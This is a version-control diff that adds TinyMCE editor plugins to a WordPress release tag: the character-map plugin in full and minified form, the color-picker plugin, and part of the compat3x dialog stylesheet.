+      ],
+      [
+        '363',
+        'u - macron'
+      ],
+      [
+        '253',
+        'y - acute'
+      ],
+      [
+        '254',
+        'thorn'
+      ],
+      [
+        '255',
+        'y - diaeresis'
+      ],
+      [
+        '563',
+        'y - macron'
+      ],
+      [
+        '913',
+        'Alpha'
+      ],
+      [
+        '914',
+        'Beta'
+      ],
+      [
+        '915',
+        'Gamma'
+      ],
+      [
+        '916',
+        'Delta'
+      ],
+      [
+        '917',
+        'Epsilon'
+      ],
+      [
+        '918',
+        'Zeta'
+      ],
+      [
+        '919',
+        'Eta'
+      ],
+      [
+        '920',
+        'Theta'
+      ],
+      [
+        '921',
+        'Iota'
+      ],
+      [
+        '922',
+        'Kappa'
+      ],
+      [
+        '923',
+        'Lambda'
+      ],
+      [
+        '924',
+        'Mu'
+      ],
+      [
+        '925',
+        'Nu'
+      ],
+      [
+        '926',
+        'Xi'
+      ],
+      [
+        '927',
+        'Omicron'
+      ],
+      [
+        '928',
+        'Pi'
+      ],
+      [
+        '929',
+        'Rho'
+      ],
+      [
+        '931',
+        'Sigma'
+      ],
+      [
+        '932',
+        'Tau'
+      ],
+      [
+        '933',
+        'Upsilon'
+      ],
+      [
+        '934',
+        'Phi'
+      ],
+      [
+        '935',
+        'Chi'
+      ],
+      [
+        '936',
+        'Psi'
+      ],
+      [
+        '937',
+        'Omega'
+      ],
+      [
+        '945',
+        'alpha'
+      ],
+      [
+        '946',
+        'beta'
+      ],
+      [
+        '947',
+        'gamma'
+      ],
+      [
+        '948',
+        'delta'
+      ],
+      [
+        '949',
+        'epsilon'
+      ],
+      [
+        '950',
+        'zeta'
+      ],
+      [
+        '951',
+        'eta'
+      ],
+      [
+        '952',
+        'theta'
+      ],
+      [
+        '953',
+        'iota'
+      ],
+      [
+        '954',
+        'kappa'
+      ],
+      [
+        '955',
+        'lambda'
+      ],
+      [
+        '956',
+        'mu'
+      ],
+      [
+        '957',
+        'nu'
+      ],
+      [
+        '958',
+        'xi'
+      ],
+      [
+        '959',
+        'omicron'
+      ],
+      [
+        '960',
+        'pi'
+      ],
+      [
+        '961',
+        'rho'
+      ],
+      [
+        '962',
+        'final sigma'
+      ],
+      [
+        '963',
+        'sigma'
+      ],
+      [
+        '964',
+        'tau'
+      ],
+      [
+        '965',
+        'upsilon'
+      ],
+      [
+        '966',
+        'phi'
+      ],
+      [
+        '967',
+        'chi'
+      ],
+      [
+        '968',
+        'psi'
+      ],
+      [
+        '969',
+        'omega'
+      ],
+      [
+        '8501',
+        'alef symbol'
+      ],
+      [
+        '982',
+        'pi symbol'
+      ],
+      [
+        '8476',
+        'real part symbol'
+      ],
+      [
+        '978',
+        'upsilon - hook symbol'
+      ],
+      [
+        '8472',
+        'Weierstrass p'
+      ],
+      [
+        '8465',
+        'imaginary part'
+      ],
+      [
+        '8592',
+        'leftwards arrow'
+      ],
+      [
+        '8593',
+        'upwards arrow'
+      ],
+      [
+        '8594',
+        'rightwards arrow'
+      ],
+      [
+        '8595',
+        'downwards arrow'
+      ],
+      [
+        '8596',
+        'left right arrow'
+      ],
+      [
+        '8629',
+        'carriage return'
+      ],
+      [
+        '8656',
+        'leftwards double arrow'
+      ],
+      [
+        '8657',
+        'upwards double arrow'
+      ],
+      [
+        '8658',
+        'rightwards double arrow'
+      ],
+      [
+        '8659',
+        'downwards double arrow'
+      ],
+      [
+        '8660',
+        'left right double arrow'
+      ],
+      [
+        '8756',
+        'therefore'
+      ],
+      [
+        '8834',
+        'subset of'
+      ],
+      [
+        '8835',
+        'superset of'
+      ],
+      [
+        '8836',
+        'not a subset of'
+      ],
+      [
+        '8838',
+        'subset of or equal to'
+      ],
+      [
+        '8839',
+        'superset of or equal to'
+      ],
+      [
+        '8853',
+        'circled plus'
+      ],
+      [
+        '8855',
+        'circled times'
+      ],
+      [
+        '8869',
+        'perpendicular'
+      ],
+      [
+        '8901',
+        'dot operator'
+      ],
+      [
+        '8968',
+        'left ceiling'
+      ],
+      [
+        '8969',
+        'right ceiling'
+      ],
+      [
+        '8970',
+        'left floor'
+      ],
+      [
+        '8971',
+        'right floor'
+      ],
+      [
+        '9001',
+        'left-pointing angle bracket'
+      ],
+      [
+        '9002',
+        'right-pointing angle bracket'
+      ],
+      [
+        '9674',
+        'lozenge'
+      ],
+      [
+        '9824',
+        'black spade suit'
+      ],
+      [
+        '9827',
+        'black club suit'
+      ],
+      [
+        '9829',
+        'black heart suit'
+      ],
+      [
+        '9830',
+        'black diamond suit'
+      ],
+      [
+        '8194',
+        'en space'
+      ],
+      [
+        '8195',
+        'em space'
+      ],
+      [
+        '8201',
+        'thin space'
+      ],
+      [
+        '8204',
+        'zero width non-joiner'
+      ],
+      [
+        '8205',
+        'zero width joiner'
+      ],
+      [
+        '8206',
+        'left-to-right mark'
+      ],
+      [
+        '8207',
+        'right-to-left mark'
+      ]
+    ];
+  };
+  var charmapFilter = function (charmap) {
+    return global$1.grep(charmap, function (item) {
+      return isArray(item) && item.length === 2;
+    });
+  };
+  var getCharsFromSetting = function (settingValue) {
+    if (isArray(settingValue)) {
+      return [].concat(charmapFilter(settingValue));
+    }
+    if (typeof settingValue === 'function') {
+      return settingValue();
+    }
+    return [];
+  };
+  var extendCharMap = function (editor, charmap) {
+    var userCharMap = $_5e4nos9tjjgwebhr.getCharMap(editor);
+    if (userCharMap) {
+      charmap = getCharsFromSetting(userCharMap);
+    }
+    var userCharMapAppend = $_5e4nos9tjjgwebhr.getCharMapAppend(editor);
+    if (userCharMapAppend) {
+      return [].concat(charmap).concat(getCharsFromSetting(userCharMapAppend));
+    }
+    return charmap;
+  };
+  var getCharMap$1 = function (editor) {
+    return extendCharMap(editor, getDefaultCharMap());
+  };
+  var $_dc8shd9rjjgwebhl = { getCharMap: getCharMap$1 };
+
+  var get = function (editor) {
+    var getCharMap = function () {
+      return $_dc8shd9rjjgwebhl.getCharMap(editor);
+    };
+    var insertChar = function (chr) {
+      $_el68bd9pjjgwebhj.insertChar(editor, chr);
+    };
+    return {
+      getCharMap: getCharMap,
+      insertChar: insertChar
+    };
+  };
+  var $_gbufu29ojjgwebhf = { get: get };
+
+  var getHtml = function (charmap) {
+    var gridHtml, x, y;
+    var width = Math.min(charmap.length, 25);
+    var height = Math.ceil(charmap.length / width);
+    gridHtml = '<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>';
+    for (y = 0; y < height; y++) {
+      gridHtml += '<tr>';
+      for (x = 0; x < width; x++) {
+        var index = y * width + x;
+        if (index < charmap.length) {
+          var chr = charmap[index];
+          var charCode = parseInt(chr[0], 10);
+          var chrText = chr ? String.fromCharCode(charCode) : '&nbsp;';
+          gridHtml += '<td title="' + chr[1] + '">' + '<div tabindex="-1" title="' + chr[1] + '" role="button" data-chr="' + charCode + '">' + chrText + '</div>' + '</td>';
+        } else {
+          gridHtml += '<td />';
+        }
+      }
+      gridHtml += '</tr>';
+    }
+    gridHtml += '</tbody></table>';
+    return gridHtml;
+  };
+  var $_6avwgq9wjjgwebi2 = { getHtml: getHtml };
+
+  var getParentTd = function (elm) {
+    while (elm) {
+      if (elm.nodeName === 'TD') {
+        return elm;
+      }
+      elm = elm.parentNode;
+    }
+  };
+  var open = function (editor) {
+    var win;
+    var charMapPanel = {
+      type: 'container',
+      html: $_6avwgq9wjjgwebi2.getHtml($_dc8shd9rjjgwebhl.getCharMap(editor)),
+      onclick: function (e) {
+        var target = e.target;
+        if (/^(TD|DIV)$/.test(target.nodeName)) {
+          var charDiv = getParentTd(target).firstChild;
+          if (charDiv && charDiv.hasAttribute('data-chr')) {
+            var charCodeString = charDiv.getAttribute('data-chr');
+            var charCode = parseInt(charCodeString, 10);
+            if (!isNaN(charCode)) {
+              $_el68bd9pjjgwebhj.insertChar(editor, String.fromCharCode(charCode));
+            }
+            if (!e.ctrlKey) {
+              win.close();
+            }
+          }
+        }
+      },
+      onmouseover: function (e) {
+        var td = getParentTd(e.target);
+        if (td && td.firstChild) {
+          win.find('#preview').text(td.firstChild.firstChild.data);
+          win.find('#previewTitle').text(td.title);
+        } else {
+          win.find('#preview').text(' ');
+          win.find('#previewTitle').text(' ');
+        }
+      }
+    };
+    win = editor.windowManager.open({
+      title: 'Special character',
+      spacing: 10,
+      padding: 10,
+      items: [
+        charMapPanel,
+        {
+          type: 'container',
+          layout: 'flex',
+          direction: 'column',
+          align: 'center',
+          spacing: 5,
+          minWidth: 160,
+          minHeight: 160,
+          items: [
+            {
+              type: 'label',
+              name: 'preview',
+              text: ' ',
+              style: 'font-size: 40px; text-align: center',
+              border: 1,
+              minWidth: 140,
+              minHeight: 80
+            },
+            {
+              type: 'spacer',
+              minHeight: 20
+            },
+            {
+              type: 'label',
+              name: 'previewTitle',
+              text: ' ',
+              style: 'white-space: pre-wrap;',
+              border: 1,
+              minWidth: 140
+            }
+          ]
+        }
+      ],
+      buttons: [{
+          text: 'Close',
+          onclick: function () {
+            win.close();
+          }
+        }]
+    });
+  };
+  var $_3eaa3c9vjjgwebht = { open: open };
+
+  var register = function (editor) {
+    editor.addCommand('mceShowCharmap', function () {
+      $_3eaa3c9vjjgwebht.open(editor);
+    });
+  };
+  var $_b5cdu19ujjgwebhs = { register: register };
+
+  var register$1 = function (editor) {
+    editor.addButton('charmap', {
+      icon: 'charmap',
+      tooltip: 'Special character',
+      cmd: 'mceShowCharmap'
+    });
+    editor.addMenuItem('charmap', {
+      icon: 'charmap',
+      text: 'Special character',
+      cmd: 'mceShowCharmap',
+      context: 'insert'
+    });
+  };
+  var $_19iu2m9xjjgwebi3 = { register: register$1 };
+
+  global.add('charmap', function (editor) {
+    $_b5cdu19ujjgwebhs.register(editor);
+    $_19iu2m9xjjgwebi3.register(editor);
+    return $_gbufu29ojjgwebhf.get(editor);
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/charmap/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/charmap/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/charmap/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),i=function(e,t){return e.fire("insertCustomChar",{chr:t})},l=function(e,t){var a=i(e,t).chr;e.execCommand("mceInsertContent",!1,a)},a=tinymce.util.Tools.resolve("tinymce.util.Tools"),r=function(e){return e.settings.charmap},n=function(e){return e.settings.charmap_append},o=a.isArray,c=function(e){return o(e)?[].concat((t=e,a.grep(t,function(e){return o(e)&&2===e.length}))):"function"==typeof e?e():[];var t},s=function(e){return function(e,t){var a=r(e);a&&(t=c(a));var i=n(e);return i?[].concat(t).concat(c(i)):t}(e,[["160","no-break space"],["173","soft hyphen"],["34","quotation mark"],["162","cent sign"],["8364","euro sign"],["163","pound sign"],["165","yen sign"],["169","copyright sign"],["174","registered sign"],["8482","trade mark sign"],["8240","per mille sign"],["181","micro sign"],["183","middle dot"],["8226","bullet"],["8230","three dot leader"],["8242","minutes / feet"],["8243","seconds / inches"],["167","section sign"],["182","paragraph sign"],["223","sharp s / ess-zed"],["8249","single left-pointing angle quotation mark"],["8250","single right-pointing angle quotation mark"],["171","left pointing guillemet"],["187","right pointing guillemet"],["8216","left single quotation mark"],["8217","right single quotation mark"],["8220","left double quotation mark"],["8221","right double quotation mark"],["8218","single low-9 quotation mark"],["8222","double low-9 quotation mark"],["60","less-than sign"],["62","greater-than sign"],["8804","less-than or equal to"],["8805","greater-than or equal to"],["8211","en dash"],["8212","em dash"],["175","macron"],["8254","overline"],["164","currency sign"],["166","broken bar"],["168","diaeresis"],["161","inverted exclamation mark"],["191","turned question mark"],["710","circumflex accent"],["732","small tilde"],["176","degree sign"],["8722","minus sign"],["177","plus-minus sign"],["247","division sign"],["8260","fraction slash"],["215","multiplication sign"],["185","superscript one"],["178","superscript two"],["179","superscript three"],["188","fraction one quarter"],["189","fraction one half"],["190","fraction three quarters"],["402","function / florin"],["8747","integral"],["8721","n-ary sumation"],["8734","infinity"],["8730","square root"],["8764","similar to"],["8773","approximately equal to"],["8776","almost equal to"],["8800","not equal to"],["8801","identical to"],["8712","element of"],["8713","not an element of"],["8715","contains as member"],["8719","n-ary product"],["8743","logical and"],["8744","logical or"],["172","not sign"],["8745","intersection"],["8746","union"],["8706","partial differential"],["8704","for all"],["8707","there exists"],["8709","diameter"],["8711","backward difference"],["8727","asterisk operator"],["8733","proportional to"],["8736","angle"],["180","acute accent"],["184","cedilla"],["170","feminine ordinal indicator"],["186","masculine ordinal indicator"],["8224","dagger"],["8225","double dagger"],["192","A - grave"],["193","A - acute"],["194","A - circumflex"],["195","A - tilde"],["196","A - diaeresis"],["197","A - ring above"],["256","A - macron"],["198","ligature AE"],["199","C - cedilla"],["200","E - grave"],["201","E - acute"],["202","E - circumflex"],["203","E - diaeresis"],["274","E - macron"],["204","I - grave"],["205","I - acute"],["206","I - circumflex"],["207","I - diaeresis"],["298","I - macron"],["208","ETH"],["209","N - tilde"],["210","O - grave"],["211","O - acute"],["212","O - circumflex"],["213","O - tilde"],["214","O - diaeresis"],["216","O - slash"],["332","O - macron"],["338","ligature OE"],["352","S - caron"],["217","U - grave"],["218","U - acute"],["219","U - circumflex"],["220","U - diaeresis"],["362","U - macron"],["221","Y - acute"],["376","Y - diaeresis"],["562","Y - macron"],["222","THORN"],["224","a - grave"],["225","a - acute"],["226","a - circumflex"],["227","a - tilde"],["228","a - diaeresis"],["229","a - ring above"],["257","a - macron"],["230","ligature ae"],["231","c - cedilla"],["232","e - grave"],["233","e - acute"],["234","e - circumflex"],["235","e - diaeresis"],["275","e - macron"],["236","i - grave"],["237","i - acute"],["238","i - circumflex"],["239","i - diaeresis"],["299","i - macron"],["240","eth"],["241","n - tilde"],["242","o - grave"],["243","o - acute"],["244","o - circumflex"],["245","o - tilde"],["246","o - diaeresis"],["248","o slash"],["333","o macron"],["339","ligature oe"],["353","s - caron"],["249","u - grave"],["250","u - acute"],["251","u - circumflex"],["252","u - diaeresis"],["363","u - macron"],["253","y - acute"],["254","thorn"],["255","y - diaeresis"],["563","y - macron"],["913","Alpha"],["914","Beta"],["915","Gamma"],["916","Delta"],["917","Epsilon"],["918","Zeta"],["919","Eta"],["920","Theta"],["921","Iota"],["922","Kappa"],["923","Lambda"],["924","Mu"],["925","Nu"],["926","Xi"],["927","Omicron"],["928","Pi"],["929","Rho"],["931","Sigma"],["932","Tau"],["933","Upsilon"],["934","Phi"],["935","Chi"],["936","Psi"],["937","Omega"],["945","alpha"],["946","beta"],["947","gamma"],["948","delta"],["949","epsilon"],["950","zeta"],["951","eta"],["952","theta"],["953","iota"],["954","kappa"],["955","lambda"],["956","mu"],["957","nu"],["958","xi"],["959","omicron"],["960","pi"],["961","rho"],["962","final sigma"],["963","sigma"],["964","tau"],["965","upsilon"],["966","phi"],["967","chi"],["968","psi"],["969","omega"],["8501","alef symbol"],["982","pi symbol"],["8476","real part symbol"],["978","upsilon - hook symbol"],["8472","Weierstrass p"],["8465","imaginary part"],["8592","leftwards arrow"],["8593","upwards arrow"],["8594","rightwards arrow"],["8595","downwards arrow"],["8596","left right arrow"],["8629","carriage return"],["8656","leftwards double arrow"],["8657","upwards double arrow"],["8658","rightwards double arrow"],["8659","downwards double arrow"],["8660","left right double arrow"],["8756","therefore"],["8834","subset of"],["8835","superset of"],["8836","not a subset of"],["8838","subset of or equal to"],["8839","superset of or equal to"],["8853","circled plus"],["8855","circled times"],["8869","perpendicular"],["8901","dot operator"],["8968","left ceiling"],["8969","right ceiling"],["8970","left floor"],["8971","right floor"],["9001","left-pointing angle bracket"],["9002","right-pointing angle bracket"],["9674","lozenge"],["9824","black spade suit"],["9827","black club suit"],["9829","black heart suit"],["9830","black diamond suit"],["8194","en space"],["8195","em space"],["8201","thin space"],["8204","zero width non-joiner"],["8205","zero width joiner"],["8206","left-to-right mark"],["8207","right-to-left mark"]])},t=function(t){return{getCharMap:function(){return s(t)},insertChar:function(e){l(t,e)}}},u=function(e){var t,a,i,r=Math.min(e.length,25),n=Math.ceil(e.length/r);for(t='<table role="presentation" cellspacing="0" class="mce-charmap"><tbody>',i=0;i<n;i++){for(t+="<tr>",a=0;a<r;a++){var o=i*r+a;if(o<e.length){var l=e[o],c=parseInt(l[0],10),s=l?String.fromCharCode(c):"&nbsp;";t+='<td title="'+l[1]+'"><div tabindex="-1" title="'+l[1]+'" role="button" data-chr="'+c+'">'+s+"</div></td>"}else t+="<td />"}t+="</tr>"}return t+="</tbody></table>"},d=function(e){for(;e;){if("TD"===e.nodeName)return e;e=e.parentNode}},m=function(n){var o,e={type:"container",html:u(s(n)),onclick:function(e){var t=e.target;if(/^(TD|DIV)$/.test(t.nodeName)){var a=d(t).firstChild;if(a&&a.hasAttribute("data-chr")){var i=a.getAttribute("data-chr"),r=parseInt(i,10);isNaN(r)||l(n,String.fromCharCode(r)),e.ctrlKey||o.close()}}},onmouseover:function(e){var t=d(e.target);t&&t.firstChild?(o.find("#preview").text(t.firstChild.firstChild.data),o.find("#previewTitle").text(t.title)):(o.find("#preview").text(" "),o.find("#previewTitle").text(" "))}};o=n.windowManager.open({title:"Special character",spacing:10,padding:10,items:[e,{type:"container",layout:"flex",direction:"column",align:"center",spacing:5,minWidth:160,minHeight:160,items:[{type:"label",name:"preview",text:" ",style:"font-size: 40px; text-align: center",border:1,minWidth:140,minHeight:80},{type:"spacer",minHeight:20},{type:"label",name:"previewTitle",text:" ",style:"white-space: pre-wrap;",border:1,minWidth:140}]}],buttons:[{text:"Close",onclick:function(){o.close()}}]})},g=function(e){e.addCommand("mceShowCharmap",function(){m(e)})},p=function(e){e.addButton("charmap",{icon:"charmap",tooltip:"Special character",cmd:"mceShowCharmap"}),e.addMenuItem("charmap",{icon:"charmap",text:"Special character",cmd:"mceShowCharmap",context:"insert"})};e.add("charmap",function(e){return g(e),p(e),t(e)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.js	(revision 56912)
@@ -0,0 +1,126 @@
+(function () {
+var colorpicker = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.PluginManager');
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.util.Color');
+
+  var showPreview = function (win, hexColor) {
+    win.find('#preview')[0].getEl().style.background = hexColor;
+  };
+  var setColor = function (win, value) {
+    var color = global$1(value), rgb = color.toRgb();
+    win.fromJSON({
+      r: rgb.r,
+      g: rgb.g,
+      b: rgb.b,
+      hex: color.toHex().substr(1)
+    });
+    showPreview(win, color.toHex());
+  };
+  var open = function (editor, callback, value) {
+    var win = editor.windowManager.open({
+      title: 'Color',
+      items: {
+        type: 'container',
+        layout: 'flex',
+        direction: 'row',
+        align: 'stretch',
+        padding: 5,
+        spacing: 10,
+        items: [
+          {
+            type: 'colorpicker',
+            value: value,
+            onchange: function () {
+              var rgb = this.rgb();
+              if (win) {
+                win.find('#r').value(rgb.r);
+                win.find('#g').value(rgb.g);
+                win.find('#b').value(rgb.b);
+                win.find('#hex').value(this.value().substr(1));
+                showPreview(win, this.value());
+              }
+            }
+          },
+          {
+            type: 'form',
+            padding: 0,
+            labelGap: 5,
+            defaults: {
+              type: 'textbox',
+              size: 7,
+              value: '0',
+              flex: 1,
+              spellcheck: false,
+              onchange: function () {
+                var colorPickerCtrl = win.find('colorpicker')[0];
+                var name, value;
+                name = this.name();
+                value = this.value();
+                if (name === 'hex') {
+                  value = '#' + value;
+                  setColor(win, value);
+                  colorPickerCtrl.value(value);
+                  return;
+                }
+                value = {
+                  r: win.find('#r').value(),
+                  g: win.find('#g').value(),
+                  b: win.find('#b').value()
+                };
+                colorPickerCtrl.value(value);
+                setColor(win, value);
+              }
+            },
+            items: [
+              {
+                name: 'r',
+                label: 'R',
+                autofocus: 1
+              },
+              {
+                name: 'g',
+                label: 'G'
+              },
+              {
+                name: 'b',
+                label: 'B'
+              },
+              {
+                name: 'hex',
+                label: '#',
+                value: '000000'
+              },
+              {
+                name: 'preview',
+                type: 'container',
+                border: 1
+              }
+            ]
+          }
+        ]
+      },
+      onSubmit: function () {
+        callback('#' + win.toJSON().hex);
+      }
+    });
+    setColor(win, value);
+  };
+  var $_2gqaphanjjgwebmu = { open: open };
+
+  global.add('colorpicker', function (editor) {
+    if (!editor.settings.color_picker_callback) {
+      editor.settings.color_picker_callback = function (callback, value) {
+        $_2gqaphanjjgwebmu.open(editor, callback, value);
+      };
+    }
+  });
+  function Plugin () {
+  }
+
+  return Plugin;
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js	(revision 56912)
@@ -0,0 +1,1 @@
+!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=tinymce.util.Tools.resolve("tinymce.util.Color"),a=function(e,n){e.find("#preview")[0].getEl().style.background=n},o=function(e,n){var i=l(n),t=i.toRgb();e.fromJSON({r:t.r,g:t.g,b:t.b,hex:i.toHex().substr(1)}),a(e,i.toHex())},t=function(e,n,i){var t=e.windowManager.open({title:"Color",items:{type:"container",layout:"flex",direction:"row",align:"stretch",padding:5,spacing:10,items:[{type:"colorpicker",value:i,onchange:function(){var e=this.rgb();t&&(t.find("#r").value(e.r),t.find("#g").value(e.g),t.find("#b").value(e.b),t.find("#hex").value(this.value().substr(1)),a(t,this.value()))}},{type:"form",padding:0,labelGap:5,defaults:{type:"textbox",size:7,value:"0",flex:1,spellcheck:!1,onchange:function(){var e,n,i=t.find("colorpicker")[0];if(e=this.name(),n=this.value(),"hex"===e)return o(t,n="#"+n),void i.value(n);n={r:t.find("#r").value(),g:t.find("#g").value(),b:t.find("#b").value()},i.value(n),o(t,n)}},items:[{name:"r",label:"R",autofocus:1},{name:"g",label:"G"},{name:"b",label:"B"},{name:"hex",label:"#",value:"000000"},{name:"preview",type:"container",border:1}]}]},onSubmit:function(){n("#"+t.toJSON().hex)}});o(t,i)};e.add("colorpicker",function(i){i.settings.color_picker_callback||(i.settings.color_picker_callback=function(e,n){t(i,e,n)})})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/compat3x/css/dialog.css
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/compat3x/css/dialog.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/compat3x/css/dialog.css	(revision 56912)
@@ -0,0 +1,210 @@
+/* Generic */
+body {
+font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+font-size:13px;
+background:#fcfcfc;
+padding:0;
+margin:8px 8px 0 8px;
+}
+
+textarea {resize:none;outline:none;}
+
+a:link, a:hover {
+	color: #2B6FB6;
+}
+
+a:visited {
+	color: #3C2BB6;
+}
+
+.nowrap {white-space: nowrap}
+
+/* Forms */
+form {margin: 0;}
+fieldset {margin:0; padding:4px; border:1px solid #dfdfdf; font-family:Verdana, Arial; font-size:10px;}
+legend {color:#2B6FB6; font-weight:bold;}
+label.msg {display:none;}
+label.invalid {color:#EE0000; display:inline;}
+input.invalid {border:1px solid #EE0000;}
+input {background:#FFF; border:1px solid #dfdfdf;}
+input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;}
+input, select, textarea {border:1px solid #dfdfdf;}
+input.radio {border:1px none #000000; background:transparent; vertical-align:middle;}
+input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;}
+.input_noborder {border:0;}
+
+/* Buttons */
+#insert,
+#cancel,
+#apply,
+.mceActionPanel .button,
+input.mceButton,
+.updateButton {
+	display: inline-block;
+	text-decoration: none;
+	border: 1px solid #adadad;
+	margin: 0;
+	padding: 0 10px 1px;
+	font-size: 13px;
+	height: 24px;
+	line-height: 22px;
+	color: #333;
+	cursor: pointer;
+	-webkit-border-radius: 3px;
+	-webkit-appearance: none;
+	border-radius: 3px;
+	white-space: nowrap;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	background: #fafafa;
+	background-image: -webkit-gradient(linear, left top, left bottom, from(#fafafa), to(#e9e9e9));
+	background-image: -webkit-linear-gradient(top, #fafafa, #e9e9e9);
+	background-image: -moz-linear-gradient(top, #fafafa, #e9e9e9);
+	background-image: -o-linear-gradient(top, #fafafa, #e9e9e9);
+	background-image: linear-gradient(to bottom, #fafafa, #e9e9e9);
+
+	text-shadow: 0 1px 0 #fff;
+	-webkit-box-shadow: inset 0 1px 0 #fff;
+	-moz-box-shadow: inset 0 1px 0 #fff;
+	box-shadow: inset 0 1px 0 #fff;
+}
+
+#insert {
+	background: #2ea2cc;
+	background: -webkit-gradient(linear, left top, left bottom, from(#2ea2cc), to(#1e8cbe));
+	background: -webkit-linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%);
+	background: linear-gradient(top, #2ea2cc 0%,#1e8cbe 100%);
+	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#2ea2cc', endColorstr='#1e8cbe',GradientType=0 );
+	border-color: #0074a2;
+	-webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.5);
+	box-shadow: inset 0 1px 0 rgba(120,200,230,0.5);
+	color: #fff;
+	text-decoration: none;
+	text-shadow: 0 1px 0 rgba(0,86,132,0.7);
+}
+
+#cancel:hover,
+input.mceButton:hover,
+.updateButton:hover,
+#cancel:focus,
+input.mceButton:focus,
+.updateButton:focus {
+	background: #f3f3f3;
+	background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3));
+	background-image: -webkit-linear-gradient(top, #fff, #f3f3f3);
+	background-image: -moz-linear-gradient(top, #fff, #f3f3f3);
+	background-image: -ms-linear-gradient(top, #fff, #f3f3f3);
+	background-image: -o-linear-gradient(top, #fff, #f3f3f3);
+	background-image: linear-gradient(to bottom, #fff, #f3f3f3);
+	border-color: #999;
+	color: #222;
+}
+
+#insert:hover,
+#insert:focus {
+	background: #1e8cbe;
+	background: -webkit-gradient(linear, left top, left bottom, from(#1e8cbe), to(#0074a2));
+	background: -webkit-linear-gradient(top, #1e8cbe 0%,#0074a2 100%);
+	background: linear-gradient(top, #1e8cbe 0%,#0074a2 100%);
+	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1e8cbe', endColorstr='#0074a2',GradientType=0 );
+	border-color: #0074a2;
+	-webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,0.6);
+	box-shadow: inset 0 1px 0 rgba(120,200,230,0.6);
+	color: #fff;
+}
+
+.mceActionPanel #insert {
+	float: right;
+}
+
+/* Browse */
+a.pickcolor, a.browse {text-decoration:none}
+a.browse span {display:block; width:20px; height:18px; border:1px solid #FFF; margin-left:1px;}
+.mceOldBoxModel a.browse span {width:22px; height:20px;}
+a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;}
+a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30);}
+a.browse:hover span.disabled {border:1px solid white; background-color:transparent;}
+a.pickcolor span {display:block; width:20px; height:16px; margin-left:2px;}
+.mceOldBoxModel a.pickcolor span {width:21px; height:17px;}
+a.pickcolor:hover span {background-color:#B2BBD0;}
+div.iframecontainer {background: #fff;}
+
+/* Charmap */
+table.charmap {border:1px solid #AAA; text-align:center}
+td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;}
+#charmap a {display:block; color:#000; text-decoration:none; border:0}
+#charmap a:hover {background:#CCC;color:#2B6FB6}
+#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center}
+#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center}
+#charmap #charmapView {background-color:#fff;}
+
+/* Source */
+.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;}
+.mceActionPanel {margin-top:5px;}
+
+/* Tabs classes */
+.tabs {width:100%; height:19px; line-height:normal; border-bottom: 1px solid #aaa;}
+.tabs ul {margin:0; padding:0; list-style:none;}
+.tabs li {float:left; border: 1px solid #aaa; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;}
+.tabs li.current {border-bottom: 1px solid #fff; margin-right:2px;}
+.tabs span {float:left; display:block; padding:0px 10px 0 0;}
+.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;}
+.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;}
+
+.wp-core-ui #tabs {
+	padding-bottom: 5px;
+	background-color: transparent;
+}
+
+.wp-core-ui #tabs a {
+	padding: 6px 10px;
+	margin: 0 2px;
+}
+
+/* Panels */
+.panel_wrapper div.panel {display:none;}
+.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;}
+.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;}
+
+/* Columns */
+.column {float:left;}
+.properties {width:100%;}
+.properties .column1 {}
+.properties .column2 {text-align:left;}
+
+/* Titles */
+h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;}
+h3 {font-size:14px;}
+.title {font-size:12px; font-weight:bold; color:#2B6FB6;}
+
+/* Dialog specific */
+#link .panel_wrapper, #link div.current {height:125px;}
